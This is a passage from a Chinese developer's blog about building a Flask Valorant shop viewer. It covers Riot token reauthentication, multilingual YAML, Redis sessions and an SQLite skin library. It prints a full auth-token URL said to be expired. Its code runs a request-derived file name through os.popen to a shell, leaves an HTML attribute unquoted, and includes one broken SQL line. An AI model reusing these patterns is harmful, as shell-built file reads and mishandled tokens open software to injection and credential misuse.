重新部署后发现没问题了,这才安心了

+

从此刻开始,我开了Dev分支,在Zeabur也设置了Dev环境,用来开发用(省得又bug了导致服务中断)

+

中场休息

嗯没错,崩铁开服了,于是玩了一天的崩铁(开服冲级嘛),但我没想到8点就开服了,我是8点多准备开鼠标连点器抢UID的,因为当天九点半我要学车,月底要考科目二,结果本来想定位那个开服提示的确定键的,自己先点击了一下,然后进去了(捂脸),就变成UID前排了(100头,UID100201759,图为2023/5/10截的,崩铁我是手柄玩家)

+

+

更换皮肤的显示语言

这个建议是@Vanilluv提出的,因为这个网站毕竟是看国际服的,又不是看国服的,国际服最多是繁中而不是简中,所以推荐更换为繁中。这个也简单,更改了一下请求API的参数和访问缓存的语言就搞定了

+

+

自动保活

就是字面意思啦,上面也提到了拳头给的access_tokenentitlement_token只有一小时的寿命,如果不进行重新获取的话,就会需要重新登陆

+

但其实这一节做了我很久,因为在我的登录模块的轮子里面有这样的内容

+
1
data2 = {"language": "en_US","password": self.password,"remember": "true","type": "auth","username": self.username,}
+ +

这是登录的POST请求体,我天真地以为直接把remember设置为true就可以了,但是经过两天的测试发现这东西基本就是摆设……

+

本来我是不报什么希望了,然后在我翻Vshop(因为Vshop有自动更新token的机制,所以去翻了一下看看能不能找到什么线索)的时候,找到了它的官网,在它的Credit页面,有一项引起了我的注意

+

+

因为我一开始在Github上没找到什么好的文档,找到的API就是他这里面写的这个valorant-api.com,而且我也用上了,但是这个库我是真的没有看见过,回到家我就直接查看这个库,果不其然里面有我们需要的东西

+

在文档里面有一项叫做Cookie Reauth,就是利用Cookie进行重新认证

+

+

这里的cookie按照我的理解是登陆时用的cookie,我先用浏览器进行访问,直接GET这个链接

+
+

https://auth.riotgames.com/authorize?redirect_uri=https%3A%2F%2Fplayvalorant.com%2Fopt_in&client_id=play-valorant-web-prod&response_type=token%20id_token&nonce=1

+
+

然后发现它会重定向到一个404页面(这404真好看哪天我要给他扒下来),但是但是,网址栏里面有我们需要的东西

+

+

完整链接如下(账号已登出,现在是无效的)

+
+

https://playvalorant.com/opt_in#access_token=eyJraWQiOiJzMSIsImFsZyI6IlJTMjU2In0.eyJwcCI6eyJjIjoiYXMifSwic3ViIjoiZjYyMTYyNjUtN2U3NS01NDRjLTgyMGYtZWI5ZGY0MjEyM2UyIiwic2NwIjpbIm9wZW5pZCLCJjbG0iOlsib3BlbmlkIl0sImRhdCI6eyJjIjoidXcxIiwibGlkIjoiV3BvUUhWRW1yY1hmVFJnMVU3MnpwZyJ9LCJpc3MiOiJodHRwczpcL1wvYXV0aC5yaW90Z2FtZXMuY29tIiwiZXhwIjoxNjgzNzE1MTg4LCJpYXQiOjE2ODM3MTE1ODgsImp0aSI6ImRJNzB4d01JMXE4IiwiY2lkIjoicGxheS12YWxvcmFudC13ZWItcHJvZCJ9.ZffyYoYQlaWAOyr3rBSjtqHe4XBa8zlJU2lRvZGA-wgqU5PLR_wrWvd-6kObVwkJzfen7rpcSSQG9CFbZqflBYVtowadeufGarMM9NgRR6Pkyyfuo845M1NJp67O4EkpP0U-hRDrltghETxJLwGYFQntNVM1WWtW19iIZTQeWKk&scope=openid&iss=https%3A%2F%2Fauth.riotgames.com&id_token=eyJraWQiOiJzMSIsInR56ImlkX3Rva2VuK2p3dCIsImFsZyI6IlJTMjU2In0.eyJhdF9oYXNoIjoiZGd3TzM2cVpNdFpsa1ctWm9xdGpZZyIsInN1YiI6ImY2MjE2MjY1LTdlNzUtNTQ0Yy04MjBmLWViOWRmNDIxMjNlMiIsImF1ZCI6InBsYXktdmFsb3JhbnQtd2ViLXByb2QiLCJhY3IiOiIwIiwiYW1yIjpbInBhc3N3b3JkIiwibWZhIiwiY29va2llIl0sImlzcyI6Imh0dHBzOlwvXC9hdXRoLnJpb3RnYW1lcy5jb20iLCJleHAiOjE2ODM3OTc5ODgsImxvY2FsZSI6InpoX01ZIiwiaWF0IjoxNjgzNzExNTg4LCJub25jZSI6IjEifQ.AOQt3i6xEZyQlNKXPT1ds4Lt8sVsEXR3dS7DJ9S8xbNSR1Pd4YON8nDAmV4F_XSH5t9VmBzv54-HLzJvRhJkJAgkOgJQAcHyetgcf0t6MealgfH2HsSnt8w9IlEgJXK6DVwGUA52inZtlq6xQUtfqigNlkXcRFtQQwnt_D-x_TU&token_type=Bearer&session_state=ps8t9j9WtxNYxhSuRy1SHt3aiUmROifqVwiC_zG5k.Nszsu7v9Q35PH87EzTqh8A&expires_in=3600

+
+

我们进行拆分,可以分为一下这几个东西

+
    +
  • access_token:认证用的token
  • +
  • scope=openid
  • +
  • iss=https%3A%2F%2Fauth.riotgames.com
  • +
  • id_token:不知道是个啥token,但我们不用
  • +
  • token_type=Bearer
  • +
  • session_state:应该是session的标识符
  • +
  • expires_in=3600(过期时间3600秒,这也就是1小时寿命的来源)
  • +
+

现在是有了access_token,我们还需要获得entitlement_token才能凑齐七颗龙珠(bushi)

+

在上面提到的那个文档中,还有这样的一个项目

+

+

这个给我们展示了如何获取entitlement_token,这里headers是需要把认证用的token填进去的,这就是为什么要先获取access_token,访问后会获得文档给我们展示的json,从中提取entitlement_token就行了

+

那么最后的问题来了,如果你是用Python直接访问拳头的链接,会被Cloudflare给挡住(因为你即使有Cookie,但也没有会话Session的存在),就像我调试的这样

+

+

所以非常有必要把之前的session给保留,然后我就把之前登录用的session存入用户与我的服务之间的Session里面了,方便调用

+

然后推入Dev分支,Dev环境,调试了几天(那几天还是51放假),没问题后并入了master分支

+

皮肤预览

做这个的原因是,既然Vshop有这个功能,那我肯定也要嘛(别人有的我们也得有,毕竟本来想法就是对标Vshop的)

+

因为我对JavaScript不熟,所以一开始是打算点击按钮以后打开一个新的页面,里面只有一个视频的,结果被@Vanilluv狠狠地吐槽了说不好看

+

最后还是选择了弹窗,一开始我直接把Soft UI的实例弹窗加进去,发现它不弹弹窗,就,什么也没有

+

后来我又找GPT去了,他告诉我可能是没有引入js,于是我就去cdnjs里面,找了bootstrap5的js引入后解决了问题,但是新的坑又来了

+

第二次踩坑:ID选择器变量

当我做好了以后,我发现一个问题就是,有的皮肤等级/炫彩点击就能弹出框框,有的就弹不出来,然后给我控制台报错

+

+

我一开始去问GPT,他说我可能是不存在id为这个东西的元素,我就奇了怪了,我说我命名有这东西,而且在F12控制台里面是能够找到对应的元素的,咋就不行

+

然后我改成在class里面写uuid,选择器改成了.uuid这样的格式,也是跟我说不行,我就非常纳闷

+

既然GPT给不了我答案,我就开始搜索,搜索着发现有一篇选择器说明的文章(找不到了,要不然我就附上链接了),里面写了选择器的格式规定

+
1
2
3
4
5
6
7
8
允许的字符:
- 0-9 数字
- A-Z 大写字母
- a-z 小写字母
- 中横线(-)
- 下划线(_)

特别规定:不能以数字开头
+ +

我再反过来看,我的这个不合法的选择器正好是以数字开头的,于是我采取了一个办法就是,在武器等级的前面加上weapon-头,在炫彩的前面加上chorma-头,这样才能够正常弹出我需要的框框

+

多语言

自大部分功能已经做完后,我就开始考虑多语言的事情了,因为有可能不只是我们在用,老外说不定看到了也想试一试(想Peach了),所以就开始做多语言了

+

因为json写起来很麻烦,而且不能够写注释,于是我用了yaml文档作为我的翻译索引文件的格式

+

我先按照我的网站,哪些地方的字是可以写其他语言的,大概构建了一下我的yaml文档格式

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
global:
title:
dailyshop: 每日商店
nightmarket: 折扣夜市
shopdefault: 我的商店
description:
line1: 瓦罗兰特(无畏契约)商店查看,让你不用登陆游戏也能够查看每日商店(仅支持国际服)
line2: 所有的登录名和密码服务器均不进行存取,仅用于登录
nav:
title: 瓦罗兰特商店查看
button:
dailyshop: 每日商店
nightmarket: 折扣夜市
account: 账户管理
authinfo: 认证信息
sponsor: 恰饭链接
logout: 退出登录

login:
front:
title: 登陆你的Riot账号
description:
line1: 服务器不对账号的登录名和密码进行存取
line2: 支持带有二步验证的账号,欢迎注重安全的各位使用!
form:
username:
title: 用户名
placeholder: 请输入你的用户名
password:
title: 密码
placeholder: 请输入密码
checkbox:
remember: 保持登录(减少登录次数)
nostorage: 我已明白网站仅会将我的登录名和密码用于登录我的账号
eula: 我同意<a href="/EULA" class="text-dark"><u>最终用户许可协议</u></a>
button:
login: 登录
alert:
nocheck: 请先正确输入用户名和密码,并勾选下面两项后再点登陆!
loginerror: 登录出错,请检查账号密码,然后重试!

mfa:
front:
title: 二步验证
description:
line1: 请前往你的绑定邮箱获取验证码后,在这里填入
line2: 服务器不对账号的登录名和密码进行存取
form:
code:
title: 二步验证码
placeholder: 请输入验证码
button:
confirm: 确认

market:
welcome:
# Welcome message format:
# <opening>{{player.name}}#{{player.tag}}
# <credit> {{player.vp}} VP & {{player.rp}} RP
opening: 欢迎回来
credit: 你现在持有
title: 今日商店 | Daily Shop
table:
skinname: 皮肤名称
skinimg: 皮肤图片
skincost: 皮肤售价
skinpreview: 皮肤预览
modal:
videonotavaliable: 当前浏览器无法预览视频
button:
close: 关闭

nightmarket:
welcome:
# Welcome message format:
# <opening>{{player.name}}#{{player.tag}}
# <credit> {{player.vp}} VP & {{player.rp}} RP
opening: 欢迎回来
credit: 你现在持有
notavaliable: 夜市还没有开放哦,先去看看每日商店吧!
title: 夜市 | Night Market
table:
skinname: 皮肤名称
skinimg: 皮肤图片
skincost: 皮肤售价
skinpreview: 皮肤预览
modal:
videonotavaliable: 当前浏览器无法预览视频
button:
close: 关闭

error:
error500:
tip: 500服务器错误
error: 肥肠抱歉,服务器发生了点错误
detail:
front: 服务器发生了以下错误:
solve: 你可以尝试点击下方的“重置网站数据”按钮来解决这个问题。<br>如果你已经点击了下面的按钮,但仍然出现了这个问题,请尝试清除浏览器的cookie来重置会话<br>如果上面这两种方法你都已经尝试过了,那么请带着此错误信息联系开发者!
button:
reset: 重置网站数据
error404:
tip: 404未找到
error: 你来到了一个无人所知的地方
button:
home: 返回首页

+ +

然后就开始在模板里面修改,因为yaml的读取是用这样的代码

+
1
2
3
import yaml

lang = yaml.load(var, Loader=yaml.FullLoader)
+ +

我一开始以为这个var可以是文件,结果发现读出来的lang的变量类型是str而不是dict,才发现应该读入文件

+

但是,每次加载页面的时候都要读入文件会导致读写吞吐量变大,而且万一前一个进程还没有释放文件,下一个进程又开始读取了就会出bug(特别是访问量很多的情况下),为了避免这个情况我就采用了linux自带的命令cat来完成这个事情

+

最后改成了这样子

+
1
lang=yaml.load(os.popen(f'cat lang/{str(request.accept_languages.best_match(app.config["BABEL_LANGUAGES"]))}.yml').read(), Loader=yaml.FullLoader)
+ +

虽然读写可能没有什么改善,但是至少不会锁文件,而且也不会爆内存(指读取后不释放变量)

+

然后写了几个语言的配置文件,分别是英语en、简中zh-CN、繁中zh-TW、日语(机翻)ja-JP,然后写了对应的yml文件放入lang文件夹

+

在上面我们做了皮肤预览的按钮,但是有些皮肤的等级会带有特殊的说明,例如

+
    +
  • 黑市 暴徒 等級2:此造型設計會因你是攻擊方或守備方而變化
  • +
  • 靈爭鬪魂 幻象 等級2:每次擊殺敵人時,都會播放專屬視覺特效及音效
  • +
  • 781-A協定 幻象 等級5:在地化語音可能會因地區而異
  • +
  • 2021冠軍賽 暴徒 等級4(在對戰中取得最多擊殺時才會顯示光環)
  • +
+

这种写在武器等级后面的说明型的文字,如果写进按钮里面会非常的长。本来不做多语言的话就可以直接简单粗暴replace这些字符就行了,但是做了多语言就不可以这么做了

+

还有就是,在valorant-api返回的数据中,每个等级升级的内容都是用类似metadata的字符去说明的(下面是没做多语言之前直接写死的转换表)

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
levelup_info = {
"EEquippableSkinLevelItem::VFX": '视觉效果',
"EEquippableSkinLevelItem::Animation": '视觉动画',
"EEquippableSkinLevelItem::Finisher": '终结特效',
"EEquippableSkinLevelItem::Voiceover": "本地化语音",
"EEquippableSkinLevelItem::SoundEffects": "音效",
"EEquippableSkinLevelItem::FishAnimation": "鱼缸动画",
"EEquippableSkinLevelItem::KillBanner": "击杀旗帜",
"EEquippableSkinLevelItem::TopFrag": "击杀光环",
"EEquippableSkinLevelItem::KillCounter": "击杀计数器",
"EEquippableSkinLevelItem::InspectAndKill": "击杀特效",
"EEquippableSkinLevelItem::KillEffect": "击杀特效&音效",
"EEquippableSkinLevelItem::AttackerDefenderSwap": "随阵营变色"
}
+ +

多语言下,我直接把他们归到了metadata字典里面去,写在对应语言的yaml文件中(下面为简中,但武器显示仍然为繁中,所以置换表为繁中,而转换表为简中)

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
metadata:
level:
# This means what word "level" shoule be like in the language, you can find it in every upgradable skin
# example: https://valorant-api.com/v1/weapons/skinlevels/4c8a49bd-4118-9523-6612-4a924651b4a9
level: 等級
EEquippableSkinLevelItem::VFX: 视觉效果
EEquippableSkinLevelItem::Animation: 视觉动画
EEquippableSkinLevelItem::Finisher: 终结特效
EEquippableSkinLevelItem::SoundEffects: 音效
# For Protocol 781-A Level 5 https://valorant-api.com/v1/weapons/skinlevels/a117218e-4f0e-0cca-7758-7ea30b08ac05
EEquippableSkinLevelItem::Voiceover: 本地化语音
# For Neptune Level 2 https://valorant-api.com/v1/weapons/skinlevels/24e39414-4a8e-e800-1242-08bd94b5e3c4
EEquippableSkinLevelItem::FishAnimation: 鱼缸动画
# For Neptune Level 3 https://valorant-api.com/v1/weapons/skinlevels/7b2826b6-4771-7529-b656-b89b9c1d86b6
EEquippableSkinLevelItem::KillBanner: 击杀旗帜
# For Champions Set Level 4 https://valorant-api.com/v1/weapons/skinlevels/4c8a49bd-4118-9523-6612-4a924651b4a9
EEquippableSkinLevelItem::TopFrag: 击杀光环
# For RGX 11z Pro Set Level 5 https://valorant-api.com/v1/weapons/skinlevels/796cf1d2-4893-fee7-3401-beb277c726c8
EEquippableSkinLevelItem::KillCounter: 击杀计数器
# For Champions Set Level 2 https://valorant-api.com/v1/weapons/skinlevels/f96ed262-4280-2363-2542-38b5620bfbb5
EEquippableSkinLevelItem::InspectAndKill: 击杀特效
# For some skins https://valorant-api.com/v1/weapons/skinlevels/bf4489ad-4739-555c-2511-7cbcc503566c
EEquippableSkinLevelItem::KillEffect: 击杀特效&音效
# For Black.Market Set Level 2 https://valorant-api.com/v1/weapons/skinlevels/65c7df10-4a5e-7eaa-dc45-d0a46f147b18
EEquippableSkinLevelItem::AttackerDefenderSwap: 随阵营变色
description:
# All these sources to replace can be found at the links above
# You need to add ?language=<your lang> to check your language
# Available language: ar-AE / de-DE / en-US / es-ES / es-MX / fr-FR / id-ID / it-IT / ja-JP / ko-KR / pl-PL / pt-BR / ru-RU / th-TH / tr-TR / vi-VN / zh-CN / zh-TW
# For China mainland players, all the names of the guns are using zh-TW, cause this program does not support Valorant from Tencent.
# example: https://valorant-api.com/v1/weapons/skinlevels/a117218e-4f0e-0cca-7758-7ea30b08ac05?language=zh-CN
Voiceover: 在地化語音可能會因地區而異
KillEffect: 每次擊殺敵人時,都會播放專屬視覺特效及音效
AttackerDefenderSwap: 此造型設計會因你是攻擊方或守備方而變化
TopFrag: (在對戰中取得最多擊殺時才會顯示光環)
+ +

然后在模板文件的需要修改语言的对应位置,写好变量,就达成目的啦!

+

Redis存储session

每次部署的时候,因为我们使用的是filesystem作为session的存储对象,所以在PaaS平台里面,部署会清除之前的数据,导致用户需要重新登陆。因为Flask-Session是支持Redis作为存储的,而且我自己也用的比较多,所以我就做了一个可以使用Redis存储的功能

+

直接让用户把配置写在环境变量里面(README里面有写)

+
1
2
3
4
5
6
7
8
$ export SESSION_TYPE=filesystem|redis  # If you want to use redis u need to set it as redis, and configure the following items
$ export REDIS_URL=<Your Redis URL>
# If your redis url cannot be parsed
$ export REDIS_HOST=<Your Redis Host>
$ export REDIS_PORT=<Your Redis Port>
$ export REDIS_PASSWORD=<Your Redis Password>
# Optional
$ export REDIS_SSL=True # If your redis does not support this, please DO NOT configure it, or this will make your application timeout.
+ +

这样就可以在filesystemredis中进行选择,我用了upstash的免费Redis存储,一个月可以用1W条命令,但是但是,在我测试的过程中我发现,就我们群里的几个人用的情况下,一天都能去到300条命令,多的时候甚至去到了500,这算下来一个月根本不够用啊

+

+

于是我投向了Zeabur的Redis存储应用

+

第三次踩坑:Redis的SSL连接

我在Zeabur里面新建了一个Redis数据库后,就准备把数据库连接改过去了,反正原来的Redis里面没什么数据,尽早更换也不用迁移数据,让群友重新登陆一下就行了,不换还好,一换就出事了,直接timeout了,我以为是Zeabur的服务问题(因为它还在试运营阶段,平常确实有点小问题),就去问老板

+

+

我们排除了半个小时也没排出来问题,然后我也不好意思打扰人家,我就说明天再看吧,然后我自己又捣鼓了一会,然后突然想到一个很重要的问题:我让用户设置过SSL,而且我写的是数据库支持再开,否则别开,我就想Zeabur的数据库是不是不支持SSL(Upstash是支持的),然后我就关掉了SSL试了一下,果不其然就是SSL的问题

+

然后我就跟老板汇报了这个问题,这事也就这么结了

+

+

皮肤库功能

这个还是@Vanilluv跟我提出的(口头上),那既然有要求咱就做嘛

+

我最开始是用缓存的json文件来做的皮肤库,做了大概两天,反正做的UI跟手机的卡片那样(因为如果还是表格的话会很奇怪)

+

先注册两个新的路径

+
1
2
3
4
5
6
7
@ app.route('/library', methods=["GET"])
def library(page: int = 1):
pass

@ app.route('/library/page/<page>', methods=["GET"])
def lib_handler(page: int = 1):
return library(int(page))
+ +

这样可以直接用上上面的那个library函数,避免重复造轮子

+

就做了大概一个下午就做完了,然后就发现了很多问题

+

+

对你没看错,这里面个人喜爱随机选择默认(右下角那个叉叉)都没有被过滤掉,而且最恶心的是这个随机选择每个武器对应一个对象,也就是说有多少个武器就有多少个随机选择,我直接头大~

+

然后我就随手修了一下,但是只是去掉了随机选择,默认皮肤没去掉(后面会说怎么解决的,这是个坑),我用了过滤器但是就是没去掉,让我很难受

+

这里的uuid是皮肤的UUID不是武器的UUID,如果你看了上面获取商店那一节的话,你就会知道武器的UUID跟默认皮肤(等级1)的UUID不是一个

+

结果在我晚上遛狗的时候,我想到了新的解决方法

+

利用Sqlite数据库作为缓存

我是脑袋里面突然蹦出数据库这个东西的,本来我是不怎么用数据库的(因为没怎么碰过数据库语法),但是想到后面还要做搜索功能,还是弄个数据库吧

+

于是我现在Navicat里面模拟建立数据库,按照如下结构建立

+
    +
  • UUID (TEXT, Unique)
  • +
  • name (TEXT)
  • +
  • name-zh-CN (TEXT)
  • +
  • name-zh-TW (TEXT)
  • +
  • name-ja-JP (TEXT)
  • +
  • data (TEXT)
  • +
  • data-zh-CN (TEXT)
  • +
  • data-zh-TW (TEXT)
  • +
  • data-ja-JP (TEXT)
  • +
+

分别解释一下,UUID我设定的是武器的UUID,name是武器的名字,对应四种语言;data是皮肤数据,也是对应四种语言

+

然后更改了一下缓存更新的机制,改成用数据库进行存储

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
import sqlite3
import requests
import json
import os
import time

sc_link = 'https://valorant-api.com/v1/weapons/skins?language=zh-CN'
tc_link = 'https://valorant-api.com/v1/weapons/skins?language=zh-TW'
jp_link = 'https://valorant-api.com/v1/weapons/skins?language=ja-JP'
en_link = 'https://valorant-api.com/v1/weapons/skins'

sc_levels_link = 'https://valorant-api.com/v1/weapons/skinlevels?language=zh-CN'
tc_levels_link = 'https://valorant-api.com/v1/weapons/skinlevels?language=zh-TW'
jp_levels_link = 'https://valorant-api.com/v1/weapons/skinlevels?language=ja-JP'
en_levels_link = 'https://valorant-api.com/v1/weapons/skinlevels'

Linkmap = [
('en', en_link),
('zh-CN', sc_link),
('zh-TW', tc_link),
('ja-JP', jp_link),
]

LinkLevelsmap = [
('en', en_levels_link),
('zh-CN', sc_levels_link),
('zh-TW', tc_levels_link),
('ja-JP', jp_levels_link),
]

def UpdateCache():
if not os.path.exists('assets/db/data.db'):
with open('assets/db/data.db', 'wb') as f:
f.close()
conn = sqlite3.connect('assets/db/data.db')
c = conn.cursor()
c.execute('CREATE TABLE skins (uuid TEXT PRIMARY KEY, name TEXT, "name-zh-CN" TEXT, "name-zh-TW" TEXT, "name-ja-JP" TEXT, data TEXT, "data-zh-CN" TEXT, "data-zh-TW" TEXT, "data-ja-JP" TEXT)')
c.execute('CREATE TABLE skinlevels (uuid TEXT PRIMARY KEY, name TEXT, "name-zh-CN" TEXT, "name-zh-TW" TEXT, "name-ja-JP" TEXT, data TEXT, "data-zh-CN" TEXT, "data-zh-TW" TEXT, "data-ja-JP" TEXT)')
conn.commit()
conn.close()



for lang, link in Linkmap:
print('Updating Skins Data of ' + lang)
conn = sqlite3.connect('assets/db/data.db')

# with open('data.json', encoding='utf8') as f:
# data = json.loads(f.read())
data = requests.get(link).json()

c = conn.cursor()
if lang == 'en':
for i in data['data']:
try:
c.execute(f'INSERT INTO skins ([uuid], name, data) VALUES (?, ?, ?)', (
i["uuid"], i["displayName"], json.dumps(i)))
conn.commit()
except sqlite3.IntegrityError:
c.execute(f'UPDATE skins SET name = ?, data = ? WHERE uuid = ?',
(i["displayName"], json.dumps(i), i["uuid"]))
conn.commit()
else:
for i in data['data']:
c.execute(f'UPDATE skins SET "name-{lang}" = ?, "data-{lang}" = ? WHERE uuid = ?',
(i["displayName"], json.dumps(i), i["uuid"]))
conn.commit()

# Delete Useless Data
# For example: Random Favorite Skin
fliter = ['Random Favorite Skin',
"Standard Classic", "Standard Shorty", "Standard Frenzy", "Standard Ghost", "Standard Sheriff",
"Standard Stinger", "Standard Spectre",
"Standard Bucky", "Standard Judge",
"Standard Bulldog", "Standard Guardian", "Standard Phantom", "Standard Vandal",
"Standard Marshal", "Standard Operator",
"Standard Ares", "Standard Odin",
"Melee"]
conn = sqlite3.connect('assets/db/data.db')
c = conn.cursor()
for ignore in fliter:
c.execute('DELETE FROM skins WHERE name = ?', (ignore,))
conn.commit()
c.close()

for lang, link in LinkLevelsmap:
print('Updating Skin Levels Data of ' + lang)
conn = sqlite3.connect('assets/db/data.db')

# with open('data.json', encoding='utf8') as f:
# data = json.loads(f.read())
data = requests.get(link).json()

c = conn.cursor()
if lang == 'en':
for i in data['data']:
try:
c.execute(f'INSERT INTO skinlevels ([uuid], name, data) VALUES (?, ?, ?)', (
i["uuid"], i["displayName"], json.dumps(i)))
conn.commit()
except sqlite3.IntegrityError:
c.execute(f'UPDATE skinlevels SET name = ?, data = ? WHERE uuid = ?',
(i["displayName"], json.dumps(i), i["uuid"]))
conn.commit()
else:
for i in data['data']:
c.execute(f'UPDATE skinlevels SET "name-{lang}" = ?, "data-{lang}" = ? WHERE uuid = ?',
(i["displayName"], json.dumps(i), i["uuid"]))
conn.commit()
c.close()

def UpdateCacheTimer():
while True:
UpdateCache()
time.sleep(3600)

if __name__ == '__main__':
UpdateCache()
+ +

在这里面,你会发现我多了一节用来清理无用数据(即上面提到的随机最爱和默认)的地方,之前我是用UUID,但是UUID实在是很难弄(你不知道对不对),所以我用武器的英文名作为判断

+

一开始我没有加入Standard这个单词在里面的,当时没想到会有这个,结果发现还是没有被去掉,然后看了下后台的数据才发现是有标准这个字段的

+

+

然后我才把Standard给加进去,才可以正常处理这些默认皮肤

+

皮肤库搜索功能

说白了就是用sqlite3的搜索功能,这也是我最后选择数据库的原因,如果要手解json的话很麻烦,而且程序运行很耗时间,所以直接用数据库语句就行了

+
1
SELECT uuid, name, data FROM skins WHERE name = %?%
+ +

百分号的作用就是通配符,虽然大部分的皮肤名字都是在尾巴,但是也不排除在前面(例如国服翻译的暴徒.exe,国际服台版写的是.exe 暴徒

+

在html中新建一个搜索框(按钮里面当然少不了瓦的标标)

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<section>
<div class="container py-4">
<div class="row">
<div class="col-lg-7 mx-auto d-flex justify-content-center flex-column">
<form role="form" name="search" method="post" autocomplete="off" action="/library">
<div class="row">
<label>{{lang.library.form.search.title}}</label>
<div class="input-group">
{% if not query %}
<input type="text" class="form-control" placeholder="{{lang.library.form.search.placeholder}}"
name="query">
{% else %}
<input type="text" class="form-control" placeholder="{{lang.library.form.search.placeholder}}" value={{query}}
name="query">
{% endif %}
</div>
</div>
<br>
<div class="row">
<div class="col-md-12">
<button type="submit" class="btn bg-gradient-dark w-100"><img
src="/assets/img/img-navi-valorant-white.svg">{{lang.library.button.search}}</button>
</div>
</div>
</div>
</form>
</div>
</div>
</div>
+ +

也是用表单的方式,把搜索的内容提交到后端进行处理,后端进行字符串的拼接

+
1
2
3
4
query = '%' + request.form.get('query') + '%'	# 加入通配符
c.execute(f'SELECT uuid, "name-{dictlang}", "data-zh-TW" FROM skins WHERE "name-zh-CN" LIKE ? OR "name-zh-TW" LIKE ?', (query, query)) # 简中繁中一起搜索
conn.commit() # 提交语句运行
skins = c.fetchall() # 获取结果
+ +

因为武器内容的解析,搜索出来的结果因为语言的问题(简中繁中)所以不能用之前的Weaponlib类,我就直接把我那边的代码复制过来小改了一下,就丢进去用了

+

把武器进行解析,然后返回给render_template进行渲染就行了

+

附:数据库样本 -> VSC/data.db at dev · GamerNoTitle/VSC · GitHub

+

皮肤库根据武器进行搜索

这个就是加一大排按钮,然后点一下切换武器种类,不过做这个也挺麻烦的,因为近战武器它没有一个统一的称呼(例如个人近战单位 太极扇之类的),所以不能通过名称作为索引去做这个近战的分类

+

然后我发现了一个地方可以判断是否为近战,首先,下面是太极扇的数据

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
{
"uuid": "2e4300f9-49b3-6bbe-af7c-94a6f56ff12e",
"displayName": "澄湖潋滟",
"themeUuid": "1468b29a-4a04-a34d-5b90-5da163f74e00",
"contentTierUuid": "e046854e-406c-37f4-6607-19a9ba8426fc",
"displayIcon": "https://media.valorant-api.com/weaponskins/2e4300f9-49b3-6bbe-af7c-94a6f56ff12e/displayicon.png",
"wallpaper": null,
"assetPath": "ShooterGame/Content/Equippables/Melee/Koi/Melee_Koi_PrimaryAsset",
"chromas": [
{
"uuid": "2733ffb9-4285-f7cf-e01e-dbb9314f3a96",
"displayName": "澄湖潋滟",
"displayIcon": null,
"fullRender": "https://media.valorant-api.com/weaponskinchromas/2733ffb9-4285-f7cf-e01e-dbb9314f3a96/fullrender.png",
"swatch": "https://media.valorant-api.com/weaponskinchromas/2733ffb9-4285-f7cf-e01e-dbb9314f3a96/swatch.png",
"streamedVideo": null,
"assetPath": "ShooterGame/Content/Equippables/Melee/Koi/Chromas/Standard/Melee_Koi_Standard_PrimaryAsset"
},
{
"uuid": "f6eb564b-4b08-ad4c-6704-42bf4e91453e",
"displayName": "澄湖潋滟 等级2\n(炫彩1 暗色)",
"displayIcon": null,
"fullRender": "https://media.valorant-api.com/weaponskinchromas/f6eb564b-4b08-ad4c-6704-42bf4e91453e/fullrender.png",
"swatch": "https://media.valorant-api.com/weaponskinchromas/f6eb564b-4b08-ad4c-6704-42bf4e91453e/swatch.png",
"streamedVideo": "https://valorant.dyn.riotcdn.net/x/videos/release-06.08/8a360856-412c-d772-c116-ca92aed3d809_default_universal.mp4",
"assetPath": "ShooterGame/Content/Equippables/Melee/Koi/Chromas/v1/Melee_Koi_v1_PrimaryAsset"
}
],
"levels": [
{
"uuid": "ef67d6cb-4f7f-28ce-2973-cf90a97ae54d",
"displayName": "澄湖潋滟",
"levelItem": null,
"displayIcon": "https://media.valorant-api.com/weaponskinlevels/ef67d6cb-4f7f-28ce-2973-cf90a97ae54d/displayicon.png",
"streamedVideo": "https://valorant.dyn.riotcdn.net/x/videos/release-06.08/7d2d392a-4b3f-7cea-3573-ffaf12b25589_default_universal.mp4",
"assetPath": "ShooterGame/Content/Equippables/Melee/Koi/Levels/Melee_Koi_Lv1_PrimaryAsset"
},
{
"uuid": "99a21016-41bf-2dfe-43e6-6f9ffe50d8c0",
"displayName": "澄湖潋滟 等级2",
"levelItem": "EEquippableSkinLevelItem::Animation",
"displayIcon": null,
"streamedVideo": "https://valorant.dyn.riotcdn.net/x/videos/release-06.08/229677bc-44b5-4896-131e-8097518dd336_default_universal.mp4",
"assetPath": "ShooterGame/Content/Equippables/Melee/Koi/Levels/Melee_Koi_Lv2_PrimaryAsset"
}
]
},
+ +

你会发现在assetPath里面有很明显的Melee字样,为了准确,我这里把ShooterGame/Content/Equippables/Melee/作为判断条件,如果含有这个字段则认为是近战武器,实际证明也是可行的

+

我们在更新缓存那一节新增一段代码,写入我们的近战武器数据

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
c.execute('CREATE TABLE melee (uuid TEXT PRIMARY KEY, name TEXT, "name-zh-CN" TEXT, "name-zh-TW" TEXT, "name-ja-JP" TEXT, data TEXT, "data-zh-CN" TEXT, "data-zh-TW" TEXT, "data-ja-JP" TEXT)')	# 建表
if 'ShooterGame/Content/Equippables/Melee/' in json.dumps(i):
try:
c.execute(f'INSERT INTO melee ([uuid], name, data) VALUES (?, ?, ?)', (
